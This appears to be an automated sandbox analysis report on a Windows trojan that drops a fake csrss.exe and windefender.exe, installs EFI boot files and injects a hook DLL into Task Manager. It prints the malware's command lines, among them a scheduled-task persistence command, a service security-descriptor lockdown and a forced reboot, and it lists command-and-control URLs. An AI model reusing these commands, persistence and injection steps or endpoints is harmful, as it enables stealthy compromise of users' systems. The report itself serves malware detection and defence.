Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /s	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\mountvol.exe mountvol B: /d	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Windows\SysWOW64\shutdown.exe shutdown -r -t 5	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process created: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to behavior
Source: C:\Windows\windefender.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Source: C:\Users\user\Desktop\upd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\upd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\upd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\upd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\rss\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\windefender.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\Desktop\0NlSa5bf55.exe

File created: C:\Users\user\Desktop\upd.exe

Jump to behavior

Source: C:\Windows\rss\csrss.exe

File created: C:\Users\user\AppData\Local\Temp\csrss

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@41/15@21/5

Source: csrss.exe, 0000000B.00000002.568351371.00000000119DE000.00000004.00000001.sdmp

Binary or memory string: SELECT BuildNumber FROM Win32_OperatingSystemh3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{f65db027-aff3-4070-886a-0d87064aabb1}SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{f65db027-aff3-4070-886a-0d87064aabb1}SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}https://server2.trumops.com/bots/post-ia-data?uuid=442b90d2-fde4-485f-a003-6086e2191d6e

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe

Code function: 36_2_00007FF7019B27F0 CreateMutexW,SleepEx,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,lstrcmpiW,Process32NextW,FindCloseChangeNotification,GetLastError,SetLastError,OpenProcess,GetLastError,VirtualAllocEx,WriteProcessMemory,LoadLibraryW,CreateRemoteThread,CloseHandle,GetLastError,WaitForSingleObject,CloseHandle,CloseHandle,

36_2_00007FF7019B27F0

Source: 0NlSa5bf55

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6016:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1460:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6280:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5360:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6324:120:WilError_01
Source: C:\Windows\rss\csrss.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\h48yorbq6rm87zot
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6344:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\qtxp9g8w
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5168:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4640:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4632:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2700:120:WilError_01

Source: upd.exe	String found in binary or memory: application/app/install.go
Source: upd.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: upd.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: upd.exe	String found in binary or memory: largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2 /bots/scheduled-install23283064365386962890625<invalid reflect.Value>Argentina Standard TimeAstrakh
Source: upd.exe	String found in binary or memory: application/app/install.go
Source: upd.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: upd.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: upd.exe	String found in binary or memory: largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2 /bots/scheduled-install23283064365386962890625<invalid reflect.Value>Argentina Standard TimeAstrakh
Source: csrss.exe	String found in binary or memory: application/app/install.go
Source: csrss.exe	String found in binary or memory: for Decryptfailed to write an injector file %s: %wfirst install, ignore discover on starthttp: putIdleConn: keep alives disabledhttps://trumops.com/api/install-failureinvalid indexed representation index %dmismatched count during itab table copymissing argume
Source: csrss.exe	String found in binary or memory: application/resilience/btcblockchain/address.go
Source: csrss.exe	String found in binary or memory: largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2 /bots/scheduled-install23283064365386962890625<invalid reflect.Value>Argentina Standard TimeAstrakh
Source: 0NlSa5bf55.exe	String found in binary or memory: Mask/AddresOEnv

Source: C:\Users\user\Desktop\0NlSa5bf55.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\0NlSa5bf55.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\0NlSa5bf55.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\0NlSa5bf55.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\0NlSa5bf55.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\0NlSa5bf55.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\rss\csrss.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 0NlSa5bf55.exe

Static file information: File size 2095616 > 1048576

Source: 0NlSa5bf55.exe

Static PE information: Raw size of UPX1 is bigger than: 0x100000 < 0x1ff600

Source:	Binary string: Loader.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp, bootx64.efi.11.dr
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: symsrv.pdb source: upd.exe, 00000005.00000002.321400821.0000000000C57000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.350292388.0000000000C57000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.565483250.0000000000C57000.00000040.00020000.sdmp
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\mac\Desktop\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7x64\x64\Release\SSDTHook.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: '(.EfiGuardDxe.pdb source: upd.exe.0.dr
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\Release\WinmonProcessMonitor.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: .pdb.dbg source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp, EfiGuardDxe.efi.11.dr
Source:	Binary string: symsrv.pdbGCTL source: upd.exe, 00000005.00000002.321400821.0000000000C57000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.350292388.0000000000C57000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.565483250.0000000000C57000.00000040.00020000.sdmp
Source:	Binary string: or you do not have access permission to the .pdb location. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp, EfiGuardDxe.efi.11.dr
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7,10x32\Release\win7x32.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: dbghelp.pdb source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win10x64\x64\Release\SSDTHook.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp

Source: C:\Windows\rss\csrss.exe

Code function: 11_3_119322AA pushad ; ret

11_3_119322C9

Source: 0NlSa5bf55.exe	Static PE information: section name: UPX2
Source: upd.exe.0.dr	Static PE information: section name: UPX2
Source: csrss.exe.8.dr	Static PE information: section name: UPX2
Source: injector.exe.11.dr	Static PE information: section name: _RDATA
Source: windefender.exe.11.dr	Static PE information: section name: UPX2
Source: bootmgfw.efi.11.dr	Static PE information: section name: .xdata
Source: bootx64.efi.11.dr	Static PE information: section name: .xdata
Source: EfiGuardDxe.efi.11.dr	Static PE information: section name: .xdata
Source: NtQuerySystemInformationHook.dll.11.dr	Static PE information: section name: _RDATA

Source: EfiGuardDxe.efi.11.dr	Static PE information: real checksum: 0x4a5a6 should be: 0x51a75
Source: csrss.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x3a37d7
Source: bootmgfw.efi.11.dr	Static PE information: real checksum: 0x2199 should be: 0x4c78
Source: bootx64.efi.11.dr	Static PE information: real checksum: 0x2199 should be: 0x4c78
Source: injector.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x54ea2
Source: windefender.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x20ae45
Source: 0NlSa5bf55.exe	Static PE information: real checksum: 0x0 should be: 0x20add5
Source: upd.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x3a37d7
Source: NtQuerySystemInformationHook.dll.11.dr	Static PE information: real checksum: 0x0 should be: 0x2279d

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Users\user\Desktop\upd.exe	Executable created and started: C:\Windows\rss\csrss.exe			Jump to behavior
Source: unknown	Executable created and started: C:\Windows\windefender.exe

Drops PE files with benign system names

Show sources

Source: C:\Users\user\Desktop\upd.exe

File created: C:\Windows\rss\csrss.exe

Jump to dropped file

Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Microsoft\Boot\bootmgfw.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\bootx64.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\EfiGuardDxe.efi	Jump to dropped file

Source: C:\Users\user\Desktop\0NlSa5bf55.exe	File created: C:\Users\user\Desktop\upd.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: B:\EFI\Boot\old.efi (copy)	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Jump to dropped file
Source: C:\Users\user\Desktop\upd.exe	File created: C:\Windows\rss\csrss.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\EfiGuardDxe.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Boot\bootx64.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Windows\windefender.exe	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\EFI\Microsoft\Boot\bootmgfw.efi	Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: B:\EFI\Microsoft\Boot\fw.efi (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\upd.exe	File created: C:\Windows\rss\csrss.exe			Jump to dropped file
Source: C:\Windows\rss\csrss.exe	File created: C:\Windows\windefender.exe			Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\rss\csrss.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Hooking and other Techniques for Hiding and Protection:

May modify the system service descriptor table (often done to hook functions)

Show sources

Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp	Binary or memory string: KeServiceDescriptorTable
Source: csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: KeServiceDescriptorTable

Source: C:\Users\user\Desktop\0NlSa5bf55.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0NlSa5bf55.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\upd.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\upd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\upd.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\upd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\rss\csrss.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\windefender.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\windefender.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\windefender.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\windefender.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	Binary or memory string: TOO MANY LINKSTOO MANY USERSUNEXPECTED EOFUNKNOWN CODE: UNKNOWN ERROR UNKNOWN MARKERUNKNOWN METHODUNKNOWN MODE: UNREACHABLE: UNSAFE.POINTERVIRTUALBOX: %WVMWARETRAY.EXEVMWAREUSER.EXEWII LIBNUP/1.0WINAPI ERROR #WORK.FULL != 0X509IGNORECN=1XENSERVICE.EXEZERO PARAMETER WITH GC PROG
